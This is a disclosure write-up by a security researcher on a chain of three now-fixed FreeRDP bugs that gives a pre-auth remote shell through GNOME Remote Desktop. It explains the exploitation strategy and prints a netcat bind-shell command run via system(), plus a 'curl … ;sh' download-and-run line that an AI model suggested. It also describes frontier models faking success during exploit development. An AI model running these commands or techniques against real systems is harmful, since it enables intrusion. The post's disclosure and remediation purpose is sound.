Linux Has Screensharing RCEs Too!!
Samuel Page
•
Recently, my boss Alfredo reported (among other bugs) a pretty cool pre-auth root RCE in Apple's screensharingd software and I figured I had to step-up my game. Now, I'm not a macOS guy, but I figured surely I can find something just as cool in the Linux ecosystem?!
In this post I'll share how three vulnerabilities we reported in FreeRDP can be used to achieve pre-auth RCE by popping a remote shell with some old school memory corruption shenanigans on a stock Fedora machine.
I'm gonna warn you up front: this is a long one. Don't feel obliged to read all of it, I've tried to section it up nicely so you can jump around if you're not interested in all aspects.
First and foremost I'll touch a little bit on the motivation and goals of the research, followed by some technical background on the target. After that, I do a deep dive on the three vulnerabilities used in this chain, followed by a (somewhat) standalone section on how they're used to achieve our remote shell. After that, I cover remediation, impact and share a few takeaways on model performance on exploiting complex, multi-bug chains.
I'd also like to take the opportunity upfront to thank @akallabeth who is the lead maintainer of FreeRDP and handled all of the security issues we reported super fast.
All the bugs described in this post are fixed in FreeRDP 3.31.0. Affected users of FreeRDP include Gnome Remote Desktop and KDE KRdp. These are not enabled by default on common distributions; only people who use it should be affected. See the Reachability & Remediation section for more details.
Contents
From Idea To Remote Shell
So, when it comes to screen sharing on Linux, what are our options? Unsurprisingly, quite varied! GNOME and KDE both distribute their own first-party solutions (GNOME Remote Desktop and KRdp) and there are also third party ones like TigerVNC.
Already we have two important acronyms flying around: VNC and RDP. To grossly oversimplify: VNC (Virtual Network Computing) is the older, simpler approach while RDP (Remote Desktop Protocol) is a proprietary, feature-rich approach designed by Microsoft.
Many of the opensource screen sharing solutions that use RDP, such as the GNOME & KDE ones mentioned above, use FreeRDP: an awesome, free & opensource RDP implementation.
For this particular bit of research, I focused on GNOME Remote Desktop & FreeRDP. This is the server-side attack surface; so seeing what an unauthenticated client can access remotely. Our internal automated pipeline surfaced and validated several vulnerabilities while auditing the latest (at the time) release of FreeRDP (3.30.0)[1], however no single bug yielded our sought after RCE (if only things were so simple!).
So, I had to get my hands dirty (and more so than I initially expected), for while the models were great at surfacing discrete vulnerabilities they struggled when it came to the (very) long horizon task of trying to chain these together and develop a working exploit.
However, after several "Excellent insight!"'s and "You're absolutely right."'s, a few usage resets and safety refusals, we landed at the finish line:
It's worth highlighting, at the time of reporting, both GHSA-r7jx-j9h7-j4xj & GHSA-9jcm-x588-gh26 were already mitigated one way or another in master, but their security relevance wasn't reported.
Diving Into The Weeds
In this section I'll provide a bit of background on our target setup: GNOME Remote Desktop and its Remote Login mode. After that, I'll do a deep dive on each of the three bugs followed by how they're chained together to achieve RCE (and touch on what comes after!).
If you'd like the follow along, the analysis from this section are based on these branches:
Some Background
Before we get into the fun stuff, let's get our homework out of the way and quickly understand how GNOME Remote Desktop and FreeRDP work together, as well as how the Remote Login feature is supposed to work. Let's start with the docs:
GNOME Remote Desktop is the remote desktop server of the GNOME project. It supports operating as a remote assistance remote desktop server, as a single user headless remote desktop server, and as a headless remote login remote desktop server. (
gnome-remote-desktop/README.md)
Okay, as we mentioned upfront, this chain targets the headless remote login surface:
GNOME Remote Desktop supports integrating with the GNOME Display Manager (GDM) to achieve remote login functionality. This feature is only available via the RDP protocol. It works by the remote user first authenticating via a system wide password, which gives access to the graphical login screen, where they can login using their user specific credentials. (
gnome-remote-desktop/README.md)
Essentially an administrator can setup a machine for remote login, via GRD, by enabling it and configuring a TLS certificate/key pair and the system-wide credential for authentication. A user must then first connect remotely using the system-wide GRD credential and then via their own user specific credentials on the graphical login, like you would locally.
So How Does Remote Login Work?
Now we understand what GRD's remote login does at a (very) high level, let's dig into some of the implementation specifics and then the boundaries between GRD & FreeRDP.
GRD runs a single binary (gnome-remote-desktop-daemon) launched in different runtime modes selected by a command-line flag and defined by GrdRuntimeMode (src/grd-enums.h:41-47):
GRD_RUNTIME_MODE_SCREEN_SHARE&GRD_RUNTIME_MODE_HEADLESSare used by GRD's other operating modes (so not remote login): remote assistance and single user headless mode, respectively.GRD_RUNTIME_MODE_SYSTEM(--system): runs as a machine-wide system service account, this is the remote login network listener. It handles initial admission, before handing over to, you guessed it, the handover mode below.GRD_RUNTIME_MODE_HANDOVER(--handover): a per-admitted-connection instance that runs under a throwawaygdm-greeter-Naccount. Serves the actual RDP session to the client.
End-to-end, the remote login connect process is a tad complicated, so I'm going to rely on this (not perfect, very simplified) diagram to do the heavy lifting:
Essentially the system daemon is responsible for listening for incoming remote login connections on (default) port :3389 and authenticating the remote login credentials.
After that, it communicates with GDM to setup a throwaway greeter session which runs as a throwaway greeter account (gdm-greeter-N); essentially a temporary context to handle the next stage of the authentication: the login screen for the specific user to authenticate.
The handover daemon runs within this greeter session, as the greeter account. For the client to access this greeter session, it is provided a one-time credential. After receiving this, the client then reconnects and uses it to authenticate directly with the handover daemon.
The handover daemon is then responsible for serving the actual RDP session: login screen, input, and all the virtual channels. Notably at this point the client has authenticated via the system-wide remote login credential but NOT as a specific user; however from an attacker perspective, the handover daemon exposes a larger attack surface than the system daemon.
Where Does FreeRDP Come In?
So we've dug a little deeper into how GRD's Remote Login works, but we haven't spoken much about FreeRDP yet, which is where the actual bugs lie!
GRD makes use of shared libraries provided by FreeRDP. Broadly speaking, beyond just "the RDP stuff", these handle the low level networking details surrounding that including the framing, transport selection, TLS, connection state machine etc. etc.
GRD communicates with FreeRDP via a couple of different mechanisms:
Exported functions, such as settings configuration via
freerdp_settings_*()APIExported structures, some of which take callbacks, allowing FreeRDP to call into GRD
Event loops, exposed by FreeRDP via waitable event handles
Bug 1: Authentication Bypass
Alright, with our homework out of the way let's get stuck into this chain! As I alluded to earlier, our first barrier is the remote login's system daemon: we need to authenticate via the system-wide credentials before we get to the richer attack surface of the handover daemon.
Or do we? During the client's initial X.224 Connection Request to the system daemon, it includes a RDP_NEG_REQ structure with the client's supported security protocols, requestedProtocols. The server then intersects that with its own enabled protocols.
If there is no intersection, the server is meant to return a TYPE_RDP_NEG_FAILURE with a failure code and the connection is over. However that's not quite what happens:
In the above snippet, we can see the failure code, PROTOCOL_FAILED_NEGO, is packed into SelectedProtocol [1]. However, notably, for servers that only use settings->NlaSecurity (default in GRD), HYBRID_REQUIRED_BY_SERVER is also packed into the same field [2].
Shortly after this, in the same function, SelectedProtocol's state is acted on:
nego_send_negotiation_response(nego) [1] checks for SelectedProtocol & PROTOCOL_FAILED_NEGO and sends a failure response to the client. However, it only returns [2] from rdp_server_accept_nego() early if some error occurs, otherwise it carries on.
Carries on where, you ask? Onto the transport acceptance path! At this point our SelectedProtocol has not been modified and still contains PROTOCOL_FAILED_NEGO | HYBRID_REQUIRED_BY_SERVER. Let's get some defs:
Currently our SelectedProtocol == 0x80000005. So when we fall through to the PROTOCOL_RDSTLS comparison at [3] we pass as 0x80000005 & 0x4 != 0, taking us into transport_accept_rdstls(rdp->transport).
So far this doesn't sound particularly interesting, sure, we're about to have our RDSTLS transport accepted without actually specifying it, but once the transport is setup we still need to authenticate with the system daemon using the system-wide credentials... right?
Well, the system-wide credential is supposed to be checked via transport_accept_nla(), but due to the missing failure return path, we've fallen through to transport_accept_rdstls() instead, which is meant to check something else entirely.
However, it looks like we still need to pass whatever authentication RDSTLS requires...
On transport_accept_rdstls()
So, with that in mind, how DOES this function handle authentication?
Okay, so a few things are happening here. First and foremost it accepts the TLS connection [1]; the earlier rejection response did not close the socket. So if the client ignores the prior rejection, it continues the TLS handshake as if nothing happened.
But that's not all this function does! It sets up a new RDSTLS state machine [2] for handling the upcoming authentication, however it never checks the server actually enabled RDSTLS (by consulting settings->RdstlsSecurity). And it isn't: it is off by default in FreeRDP, and GRD only turns it on in HANDOVER mode (for the one-time credential).
So what does this mean for us? Typically RDSTLS authentication [3] uses several fields stored in rdpSettings, configured by the server, including Username and Password. However, if the server leaves these fields empty, the RDSTLS comparison functions always return true:
In the system daemon mode, RDSTLS is not enabled and all four rdpSettings fields used by RDSTLS authentication are unset, allowing a client to authenticate with arbitrary values.
Leaving rdp_server_accept_nego()
Okay. We've survived rdp_server_accept_nego() due to the missing failure return case, allowing us to bypass the intended NLA auth and do RDSTLS auth instead - which happens to be completely unconfigured, allowing us to essentially bypass that too.
After, rdp_server_accept_nego() returns back to its parent, peer_recv_callback_internal(), the server-side connection state machine:
Noticeably after rdp_server_accept_nego() returns [1], it updates the client's settings [3] based on our totally-not-quite-right SelectedProtocol value [2]. At this point it's still 0x80000005, so if we remember our defs from earlier this essentially :
Flips
settings->RdstlsSecurityfromfalsetotrueFlips
settings->NlaSecurityfromtruetofalseFlips
settings->TlsSecurityfromfalsetotrue
We're almost there, I promise. After this, the client's authenticated state is determined by this branch [1] taken due to our SelectedProtocol value [2]:
This is one of the callbacks I mentioned, for interacting with GRD! Essentially IFCALLRESULT(_default_return, _cb, ...) is a macro that calls _cb(...) or returns _default_return if _cb is unset. FreeRDP defines the callback here:
Concerningly, FreeRDP sets automatic=FALSE here, which means the connection isn't already authenticated as RDSTLS is classified as an anonymous tunnel.
However the GRD implementation for this callback does not use automatic and for the system, remote login case authenticates our client:
Hurrah, we're finally authenticated, having bypassed the remote login credentials!
What We Have Now
Yeah, I can't lie, that was a lot of words... I apologise (and if you skipped to this point, I don't even blame you). Let's sum up where we are:
The remote login system daemon expects to authenticate the client over NLA using the system-wide credentials.
However, due to a missing return during protocol negotiation failure, a client can instead authenticate over RDSTLS, which is unconfigured, allowing blanket authentication.
The system daemon now considers us an authenticated client and continues with the normal flow of speaking to GDM, setting up a greeter session, throwaway account AND providing us a one-time credential to authenticate with the handover daemon.
Bug 2: The Info Leak
Unfortunately (and much to my initial distress) one critical authentication bypass is not enough to crack GRD remote login - we still have to defeat the handover demon.
Currently, thanks to our looted one-time credential, we are now authenticated with the handover daemon. Unlike the network-facing system daemon, this is a per-connection daemon that runs in a greeter session as a throwaway gdm-greeter-N account.
RDP Surface Primer
So what does this net us? More attack surface! This new surface is exposed over the RDP session we now have (for the pesky login screen), which provides channels for interacting with all manner of things: audio, the clipboard, telemetry, display control etc. etc.
For yet another gross oversimplification: RDP channels are separate, virtual data streams within an RDP session, used for handling specific kinds of traffic. They essentially carry channel-specific messages as PDUs (Protocol Data Unit) between client & server.
One of these channels is RDPGFX (also known as Remote Desktop Protocol: Graphics Pipeline Extension), which handles remote desktop graphics. One of the messages sent over this channel is ResetGraphics, which is sent by the server to inform the client to resize its canvas and adjust to display changes[2]. Let's take a look at the code!
ResetGraphics
GRD is responsible for deciding when to send out a ResetGraphics message, and does so in the aptly named maybe_reset_graphics() function:
The maybe depends on the value of the pending_gfx_graphics_reset flag [1]. This flag is set in two scenarios: during initial display creation OR a monitor layout change. The former is a once-per-session situation, but the latter case can be triggered on demand.
After the decision is made to reset the graphics, GRD initialises the PDU and sends it on down to FreeRDP [2] which is responsible for serialising it and sending it off:
FreeRDP serialises the GRD supplied pdu into a wStream object [2]. This is a simple stream object that contains a backing buffer, with a cursor pointer. Each write using the Stream_Write_*() API [3] [4] advances the pointer accordingly.
The utility function Stream_GetPosition(s) [5] returns pointer's offset into buffer (i.e. how many bytes have been written into the stream). This same utility function is used to determine the written / wire length of the PDU further down the stack.
Notably, the PDU, as defined in the specs, must be 340 bytes. However, how much of that is actually used varies depending on the number of display monitors (monitorCount) [1]. So, after the data GRD supplied has been parsed, there are two sanity checks on the amount written:
It makes sure no more than 340 bytes have been written
[6]If less than 340 bytes have been written (i.e. there were fewer than 16 monitors being reset), then
Stream_SafeSeek()[7]advances the stream's cursor to the end of itsbuffer, so the sending code interprets it as a 340 byte stream[8].
The issue here is that the wStream's backing buffer is not zeroed on allocation:
Neither does the Stream_SafeSeek() do any zeroing. So, to summarise:
wStream->bufferis not zero-initialised[1], so contains stale heap data.The entire 340 byte
bufferis treated as theResetGraphicsPDU, but not all of those stale bytes will be overwritten.More specifically: There are 20 bytes of prefix data (RDPGFX header,
width,heightandmonitorCount) then 20 additional bytes are written for each monitor count. So, the maximum possible leaked bytes is340 - 20 - 20 = 300.The highest
monitorCountcan be is 15, meaning 20 stale bytes would still returned.
This PDU is then sent directly to the client (us!), who's able to read the leaked heap data.
What To Leak
Without going too off-piste in this ever-growing post, let's quickly touch on how we use this in the RCE chain. Our RDP session exposes a number of ways to interact with the handover daemon's heap (which is where our leak is coming from).
By sending carefully constructed messages, we can cause the daemon to allocate & free chunks of the same size as our leaking object, such that when our leaking object is allocated it reuses the stale memory of the objects we caused to be allocated.
One such object is struct GHashTable (from GLib, GNOME's utility library) which contains some interesting fields, including two GLib function pointers (g_uint_hash, g_uint_equal) which can be used to derive the base address of GLib.
Using this approach we're also able to leak the addresses of other objects in the heap, which contain attacker controlled bytes.
Bug 3: The Write
SVCs vs DVCs
Earlier, when I explained what RDP channels are, I conveniently left out the difference between static virtual channels (SVCs) and dynamic virtual channels (DVCs). However, it's become relevant to our third bug so let's quickly cover it.
SVCs came first and are simpler: they're opaque byte streams negotiated once, at connection time. DVCs can open and close throughout the session and all communicate over a single SVC, called drdynvc.
As drdynvc carries interleaved traffic for all open dynamic channels, the PDUs and where they're headed need to be resolved at this level. However, as SVCs have a 1:1 relationship between the transport channel and rdp channel, FreeRDP can route these opaque bytes directly to the consumer or can handle the reassembly itself.
This choice is defined as CHANNEL_OPTION_SHOW_PROTOCOL: SVCs opened with this flag are responsible for handling their own data reassembly.
In this version of FreeRDP two server-side channels have this set: RDPDR & ClipRDR. For reasons I will explain later, ClipRDR is out of the race, so onto RDPDR!
RDPDR
RDPDR is an SVC used for device and file redirection, and as mentioned above, is opened server-side in FreeRDP with the CHANNEL_OPTION_SHOW_PROTOCOL flag.
Let's now take a journey and follow how our client's RDPDR PDUs arrive. Upon arrival, according to the MS spec, our Virtual Channel PDU should look something like this:
Notably, the channel data can be fragmented, with each TPKT containing a chunk to be reassembled. In this case, each chunk still gets a CHANNEL_PDU_HEADER, whose length refers to the length of the assembled data, not the specific chunk. The flags are then used to bound the first CHANNEL_FLAG_FIRST and last CHANNEL_FLAG_LAST chunks.
Per the spec, default chunks are limited to CHANNEL_CHUNK_LENGTH = 1600 bytes unless the maximum virtual channel chunk size is specified in the optional VCChunkSize. This is important, as we'll see, and can be controlled from the client-side.
On a hunch, let's assume our totally-benign-client bumps this value up to 1608.
Now, back to the code! After stripping away the other headers and processing the CHANNEL_PDU_HEADER (see arg comments), we end up in WTSProcessChannelData():
For channels configured with CHANNEL_OPTION_SHOW_PROTOCOL [1], as we alluded to earlier, FreeRDP queues this chunk to be handled by the channel consumer itself. Per the spec, this flag requires the CHANNEL_PDU_HEADER to be visible to the consumer.
As data originally came from a byte stream (the same wStream from earlier), and now points to the chunk payload, WTSProcessChannelData() recreates the header. Notably, the length now uses size [2], which is the chunk size, not the total assembled size (totalSize) that our channel PDU's length originally contained when we sent it.
The header and data are moved into a single malloc() allocation [1] before being queued [3] by wts_queue_receive_data():
The queue now holds a 1616 byte message [2]: the 8-byte header that WTSProcessChannelData() prefixed and our 1608 bytes of chunk data (which we control).
The RDPDR channel's thread maintains a tracker for handling the reassembly of its PDUs:
Looking at the size of that buffer [1], some of you might be getting some ideas. The tracker is used by ChannelPduTracker_poll(), which is called when a channel event occurs, such as our 1616 byte message from earlier getting queued. Let's see what it does:
As this is the first chunk in our RDPDR PDU being sent (and received), the ChannelPduTrack's offset = 0 and buffer hasn't been used yet.WTSVirtualChannelRead() [2] is then used to copy readSz (= CHANNEL_PDU_LENGTH - 0 = 1608) [1] bytes of our queued message into the tracker->buffer. The tracker->offset is then incremented [3] by the number of bytes actually copied (1608 bytes as our queued message was 1616). So far so good.
The poll then makes sure there's at least enough bytes to contain a header [4]; there is. After that, it checks the channel header->length (which was synthesised earlier, from the size of our chunk, 1608) isn't larger than CHANNEL_CHUNK_LENGTH = 1600 [5]. Uh-oh! Ours is...
In this case the poll rejects the bad message but forgets to clean up two things:
The
tracker->offsetis still1608at this pointOur message has not been dequeued as there's still 8 bytes left to read from it
Because the message is still in the queue, the channel event stays signalled, so the poll is called a second time, with the tracker and queue state out of sync:
This time round, the
readSz = 1608 - 1608 = 0[1]. Well, it just so happens that whenWTSVirtualChannelRead()[2]is asked to copy zero bytes, instead of writing the amount of bytes copied to&sz, it writes the amount of bytes remaining. In this case, it's8!With no way to distinguish bytes written vs read in this context,
tracker->offset += 8 = 1608 + 8 = 1616[3]; at this point it points pasttracker->buffer!We then continue on and fail at the same check as the first poll
[5], rejecting our message without resetting the offset or draining queue.
As our message has STILL not been dequeued, the poll is called a 3rd time: now readSz = 1608 - 1616 = SIZE_MAX - 7 = 0xFFFFFFF8 (truncated) [1] (yikes) AKA a big number. Fortunately, the reader is only going to read as many bytes as are left in our message: 8.
But... it's writing our bytes into &tracker->buffer[tracker->offset] [2] which now points 8 bytes past the end of buffer, straight into &tracker->log:
After the out-of-bounds write occurs, the poll hits the same check as the first run [5] and rejects the message. But not before it prints a log, using our corrupted tracker->log:
Suffice to say, this call does some stuff with our now-controllable pointer. To find out how we actually used this primitive to gain RCE, stay tuned for the next part!
Just kidding, we'll cover that in the next section "Gaining RCE".
But Wait, The Assert!
Some eagle eyed readers might have noticed that there are two highly relevant asserts in ChannelPduTracker_poll(), on either side of channel queue read:
This catches exactly the issue this out-of-bounds write explores, leading to a crash. Whether or not this is enabled depends on two flags: WITH_VERBOSE_WINPR_ASSERT=OFF and NDEBUG.
With the above values, the asserts are compiled out. This varies downstream. Both Debian and Fedora ship both of these, making the out-of-bounds write reachable.
What About ClipRDR?
I realised while reviewing this post I totally forgot to explain why RDPDR was our only route for exploiting this vulnerability in GRD!
This is because, although ClipRDR is another static virtual channel opened server-side with CHANNEL_OPTION_SHOW_PROTOCOL, when the ChannelPduTracker_poll fails (e.g. rejecting our message during the header length check), returning !s && !ok, ClipRDR's thread handler actually catches this and exits [1], so the poll is never called again with the desync'd state:
Meanwhile, compare this the RDPDR code which keeps the thread alive and polling [1] [2]:
Gaining RCE
We're finally getting to the culmination of our 5,000 words of background! Before we talk about how the 3 bugs were chained to get a remote pre-auth shell, let me do a quick recap for anyone who skipped ahead (or had to take a break before continuing):
Bug 1 (GHSA-x7v6-xfx3-52j6) allows us to bypass the server-wide remote login authentication used by Gnome Remote Desktop, allowing us to connect to an RDP session with the handover daemon, which runs as a throwaway
gdm-greeter-Nuser. However, this just lands us at a login screen, where normally we'd need to authenticate as a local user. What it does do, is allow us to reach the next two bugs, which require that RDP session.Bug 2 (GHSA-r7jx-j9h7-j4xj) allows us to leak up to 300 bytes of heap memory. With some careful heap fengshui, using our RDP session, we can retrieve heap and GLib pointers.
Bug 3 (GHSA-9jcm-x588-gh26) allows us to trigger an 8-byte out-of-bounds write of data we control, into a
wLogpointer, which is then immediately used in aWLog_Print()call.
Wow... did I really need 5,000 words to describe all of that? Let's not dwell on it. Onto exploitation! Bugs 1 and 2 are fairly self explanatory: one gets us access, the other gives us some important information leaks. But how do we use bug 3 to make the most of it?
Okay, so this is what we're working with. We control log, what can we do with it? Notably appender is fetched from our log [1], so that call at [5] is essentially:
That would be pretty nice, huh? To reach that we need the following to be true:
Fortunately, thanks to our information leak (and RDP heap fengshui) we have:
Heap addresses pointing to data we control, so we can forge these structures
GLib addresses, allowing us to defeat ASLR and calculate GLib's base address
Using all our bugs and primitives, we're able to overwrite WriteMessage and reach that call.
From RIP to Shell
So that leaves us with the big question: what do we replace WriteMessage with? Consider that we control both the 1st argument (log) and the 2nd (appender).
Why, old faithful, of course: system(const char *cmd)! Which means our log object is interpreted as the command string, meaning wLog.Name is treated as the cmd.
But Sam, I hear you ask, you just said we only had the GLib base address and system() is from libc?! It just so turns out that the offset between GLib's base and libc's is deterministic, woo! (At least in Fedora 46's packages; there is alternatively g_spawn_command_line_async() in GLib but this comes with some additional restrictions and caveats).
However, it's not a home run just yet. We have a few hurdles to cross. Let's break down where we're at and try carve a path to our remote shell:
wLog.Nameis an 8 byte string. We can use the low byte ofFilterLevelas the string terminator, but that still only gives us 8 bytes of commands to run in oursystem()call.We are able to trigger this write (and thus call
system()) multiple times, however stability decreases drastically the more we do.The
system()command is run as thegdm-greeter-Nthrowaway user, whose lifetime is tied to our RDP session. The user's home istmpfs+noexec.The TCP socket for our connection is inherited by the handover daemon (who's the one calling our
system()command), but it'sclose-on-execso our spawned cmd won't get it.
This is really starting to sound like a CTF problem, huh? Well the solution is very CTF-coded: using filenames as a means to build up our command over several triggers, then piping the concatenated filenames into a bash file which can then be run! Pretty neat, right?!
Let's consider opening a bind shell, with the command nc -l 4444 | sh:
And, just like that, 3 bugs later, we have our pre-auth remote shell!
On Mitigations
It's worth briefly touching on mitigations here, as I am sure some of you are curious how our chain got around relevant, default mitigations and what could be enabled to stop it.
Our test machine was a stock Fedora Rawhide machine on AArch64 (I know, don't even ask, it just happened) with typical mitigations enabled: ASLR, PIE, RELRO, FORTIFY_SOURCE, glibc allocator checks and safe-linking, BTI, PAC-ret etc.
There's a few neat little aspects of our chain which make it hard to catch. Firstly, the initial authentication bypass is a logic issue, so there's no memory corruption shenanigans there.
Similarly, the leak does not involve any memory corruption: it's just stale data that's being sent over the wire to the client. The heap feng shui used to shape the heap to contain our pointers (getting around ASLR & co.) is also just "legitimate" RDP traffic. Notably, this could be mitigated by heap initialisation (e.g. zero on alloc).
However, our write is undoubtedly a memory corruption issue! But it is an intra-object corruption (it doesn't leave the ChannelPduTracker allocation), so we're not trashing any heap metadata or crossing the allocation granularity boundary typically checked.
Moreover, the copy occurs through an opaque pointer where the compiler lacks the buffer[1608] sub-object bound so FORTIFY_SOURCE can't help here. However, strict array-bounds checking (such as Clang -fsanitize=bounds) would flag the eventual out-of-bounds indexing of ChannelPduTracker's buffer .
As for our control-flow hijacking primitive, we're using an indirect call via a forged function pointer which contains a "legitimate" function: system(). As a result this isn't caught by BTI (it's a BTI-valid function entry) or PAC-ret (this is backwards edge/return address protection, which we don't mess with here). This could be caught by full, type-aware forward-edge CFI, which checks target function's type as the caller expects a three-argument WriteMessage callback, whereas system() takes one argument.
Root???
To those of you who may be thinking, "Hey! You said you'd find something just as cool as Alfredo's macOS ROOT pre-auth RCE and I'm not seeing a whole lotta root here!", I say you have a point. Unfortunately Linux doesn't just run its screensharing daemons as root...
However! I would be lying if I said I didn't at least poke around to see what our options are once landing that shell, and I was actually quite surprised.
Neither Fedora nor Ubuntu (I haven't checked others) sandbox or restrict the throwaway greeter user in any way. As a result, it has the exact same attack surface an ordinary local user would, including access to FUSE (which we've already demonstrated an LPE in; yes I was very tempted to setup an E2E lab but in hindsight this post is already too long).
Seeing as we're not exactly short on kernel LPEs these days, it hardly seems a stretch that this could be extended to a root pre-auth RCE given the lack of sandboxing / access control.
Reachability & Remediation
First and foremost, all 3 vulnerabilities used in the chain as well as several others we reported are fixed in FreeRDP 3.31.0, so make sure you're up-to-date if you use it.
Note, remote desktop servers are not something enabled or listening by default. Most people won't be affected by this unless they're actively using the feature.
Things get a bit more complicated when it comes to understanding the reachability and impact of these vulnerabilities across different distributions and GRD modes. Besides Gnome Remote Desktop, FreeRDP is also used by KDE KRdp and Weston's RDP backend.
(Bug 1) Negotiation failure is not terminal:
Affects: FreeRDP versions >= 3.0.0, <= 3.30.0 (used by most LTS distributions)
Impact: All modes of GRD are affected, however impact varies. Remote Login yields the authentication bypass described in this post; other modes instead crash, leading to a pre-auth remote denial of service of the logged-in user's session daemon.
Reachability: Just requires network reachability.
Fix: PR #13250
(Bug 2) RDPGFX ResetGraphics discloses uninitialised heap:
Affects: FreeRDP versions >= 2.0.0, <= 3.30.0 (used by most LTS distributions)
Impact: Leaks up to 300 bytes of handover daemon memory, which may include heap and library addresses.
Reachability: Requires an authenticated RDP session.
Fix: PR #13248
(Bug 3) Channel PDU tracker offset desync:
Affects: FreeRDP versions >= 3.28.0, <= 3.30.0
Impact: Out-of-bounds write leading to pointer control. Combined with a leak, leads to RIP control as demonstrated in this post.
Reachability: Requires an authenticated RDP session. Additionally, requires a static virtual channel opened with
CHANNEL_OPTION_SHOW_PROTOCOLwhose poll loop survives a failed poll. In GRD, this only covers RDPDR which was only added in GRD 51+.Fix: commit 40d9202 (issue #13102)
Due to the requirements of Bug 3, the coverage for the full chain we've demonstrated is fortunately quite narrow, limited to releases which used pre-release GRD 51+.
At the time of writing, this was Fedora 45, rawhide, CentOS Stream 11 and anyone using Arch's gnome-unstable repo. However, it's worth highlighting this is a largely a self-imposed limitation as I wanted to make a cool chain using only the bugs we'd found. The reality is there are likely other n-days or 0-days which could be chained with Bug 1 & 2 (who don't have as restrictive coverage as Bug 3) to achieve a similar chain with less requirements.
Takeaways
Wowza, that was a long one! Even by my standards. Hopefully you've found it at least half as interesting as I have. Working on this particular chain really allowed me to push the models, and what we've built here at Bynario, to the limits.
So to cap things off (I promise I'll keep it brief, we're almost there!), I wanted to discuss some of my takeaways from working on a complex chain like this using LLMs.
As I mentioned up top, our internal pipelines, alongside frontier models such as Opus 5 and GPT Sol, were able to autonomously surface and validate all the bugs used in this chain. However, automating the exploitation of a complex chain of bugs is another problem entirely.
LLMs & Exploitation
One immediate issue is the incredibly complex, "long horizon" nature of the task. Exploiting memory corruption bugs can already be a complex task: you need to understand the nature of the bug itself as well as the internals of the system it resides in. It is often an iterative process, where you often try and then rule out different strategies and techniques. Each iteration you learn something new that can change previous assumptions or approaches. Gradually you hone in on one, possibly of many, path to success but even then it often isn't deterministic, so you must account for that too as well as other environmental factors.
And that's just exploiting one bug! You can imagine how that complexity quickly grows as the number of bugs involved in a given exploit increases, the iterations and learnings of any one bug may have ripple on effects on the others, causing you to go back to the drawing board. It's a task that requires a lot of tenacity, platform knowledge and curiosity.
Suffice it to say, there's a lot of context for the models to juggle and a brute-force approach (read: trying to apply generic approaches and techniques and not being curious about how this code works, following tangents etc.) led to noticeable performance degradation: any misinterpretation of results, stale knowledge, missed config, fabrication can have ripple on effects; as a result any model mistakes cost more.
Cheating!!
Oh, if I had a penny for every time I saw "🎯 RCE ACHIEVED!".
Despite being quite clear in my intent for the chain, pre-auth remote code execution via remote shell, the (latest frontier!) models simply didn't understand my intent (or just wanted the easiest way out). Some particularly funny (only in hindsight) examples:
Achieving pre-auth RCE, but instead of using the existing auth bypass, it decides it's easier to just use the RDP credentials (why not, we could bypass it if we wanted).
When trying to navigate the 8-byte limitations, decides we can just use
curl>f 0;sh fto download and run our own bash script! Handy because0is interpreted here as127.0.0.1, and of course our REMOTE attacker is on the SAME machine as the target...Many other times it would simply stop short of the task, e.g. by demonstrating we can write a marker file on the target or some other issue.
Admittedly, these particular cases can be guarded against with the correct orchestration layer, but it demonstrates the importance of correctly conveying intent to the model, which for exploit development in particular, is not always as straightforward as it seems.
(Inconsistent) Safeguards
I'm mainly just adding this in because it's funny. Safeguards were never an issue while using GPT Sol. However, despite being part of Anthropic's CVP, Opus 5 would arbitrarily drop me down to Opus 4.8 - in one case it literally did it AFTER it had finished and run the chain.
It's Over
We made it! It was a LONG one but we covered a lot of stuff: some intro fluff, technical background on FreeRDP and Gnome Remote Desktop, deep dives into 3 interesting bugs which could then be chained to gain a pre-auth remote shell. We then wrapped up by covering some remediation details and takeaways from the whole research project.
I appreciate not everyone will have read everything, but hopefully everyone at least managed to take something away from this mammoth post. I likely wasn't able to include everything, I certainly glossed over some bits and may have missed others, so feel free to reach out if you have any questions or corrections! Thanks for reading!
Explore our latest insights on AI development, LLMs, and more
